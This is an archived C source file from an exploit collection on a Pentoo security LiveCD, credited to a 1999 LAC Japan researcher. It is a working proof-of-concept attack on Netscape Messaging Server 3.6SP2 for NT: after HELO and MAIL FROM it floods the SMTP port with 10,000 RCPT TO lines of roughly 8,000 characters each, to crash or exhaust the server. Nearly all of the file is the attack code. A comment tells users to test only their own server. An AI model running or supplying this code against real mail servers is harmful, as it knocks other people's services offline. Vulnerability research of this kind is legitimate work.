home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / netscape / rcpt2.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  176 lines

  1. /***************************************************************
  2.  You can test "YOUR" Netscape Messaging Server 3.6SP2 for NT
  3.  whether vulnerable for too much RCPT TO or not. 
  4.                   by Nobuo Miwa, LAC Japan  28th Oct. 1999 
  5.                   http://www.lac.co.jp/security/ 
  6. ****************************************************************/
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13.  
  14. #define    STR_HELO      "HELO rcpt2\n"
  15. #define    STR_MAILFROM  "MAIL FROM:rcpt2\n"
  16. #define    RCPT2_LENGTH  8000
  17. #define    RCPT2_NUMBER  10000
  18.  
  19. int openSocket(struct sockaddr_in *si, char *hostIPaddr)
  20. {
  21.     int             port=25, sd, rt ;
  22.     long            li ;
  23.     struct hostent  *he;
  24.  
  25.     si->sin_addr.s_addr = inet_addr(hostIPaddr);
  26.     si->sin_family      = AF_INET;
  27.     si->sin_port        = htons (port);
  28.     sd = socket (si->sin_family, SOCK_STREAM, 0);
  29.     if (sd == -1) return (-1);
  30.  
  31.     rt = connect(sd,(struct sockaddr *)si,sizeof(struct sockaddr_in));
  32.     if ( rt < 0 ) {
  33.        close(sd);
  34.        return(-1);
  35.     }
  36.  
  37.     return(sd) ;
  38. }
  39.  
  40. void sendRCPT2(int sd)
  41. {
  42.     char    rcptStr[RCPT2_LENGTH], tmpStr[RCPT2_LENGTH+80], strn[80];
  43.     int     rt, i;
  44.  
  45.     memset( tmpStr, 0, sizeof(tmpStr) ) ;
  46.     recv( sd, tmpStr, sizeof(tmpStr), 0 );
  47.     printf("%s",tmpStr);  
  48.  
  49.     printf("%s",STR_HELO);
  50.     send( sd, STR_HELO, strlen(STR_HELO), 0 );
  51.     memset( tmpStr, 0, sizeof(tmpStr) ) ;
  52.     rt = recv( sd, tmpStr, sizeof(tmpStr), 0 );
  53.     if ( rt>0 ) printf("%s",tmpStr);
  54.  
  55.     printf("%s",STR_MAILFROM);
  56.     send(sd, STR_MAILFROM, strlen(STR_MAILFROM), 0);
  57.     memset( tmpStr, 0, sizeof(tmpStr) ) ;
  58.     rt = recv(sd, tmpStr, sizeof(tmpStr), 0);
  59.     if ( rt>0 ) printf("%s",tmpStr);
  60.  
  61.     strcpy( rcptStr, "RCPT TO: rcpt2@" ) ;
  62.     while ( RCPT2_LENGTH-strlen(rcptStr)>10 )
  63.         strcat( rcptStr, "aaaaaaaaaa") ;
  64.     strcat( rcptStr, "\n" );
  65.     for ( i=0 ; i<RCPT2_NUMBER ; i++ ) {
  66.         printf("No.%d RCPT TO:rcpt2@aaa.. len %d\n",i,strlen(rcptStr));
  67.         send( sd, rcptStr, strlen(rcptStr), 0 );
  68.         rt = recv( sd, tmpStr, sizeof(tmpStr)-1, 0 );
  69.         strncpy( strn, tmpStr, 60 ) ;
  70.         if ( rt>0 ) printf("%s \n",strn);
  71.     }
  72.  
  73.     return;
  74. }
  75.  
  76. int main (int argc, char *argv[])
  77. {
  78.     char                 hostIPaddr[80], *cc, *pfft;
  79.     int                  sd = 0;
  80.     struct sockaddr_in   si;
  81.  
  82.     printf("You can use ONLY for YOUR Messaging Server 3.6\n");
  83.     if (argc != 2) {
  84.         printf("Usage: %s IPaddress \n",argv[0]);
  85.         exit(1);
  86.     } else
  87.         strcpy (hostIPaddr, argv[1]);
  88.  
  89.     sd = openSocket(&si,hostIPaddr);  
  90.  
  91.     if (sd < 1) {
  92.         printf("failed!\n");
  93.         exit(-1);
  94.     }
  95.  
  96.     sendRCPT2( sd );
  97.     close (sd);
  98.  
  99.     exit(0);
  100. }
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.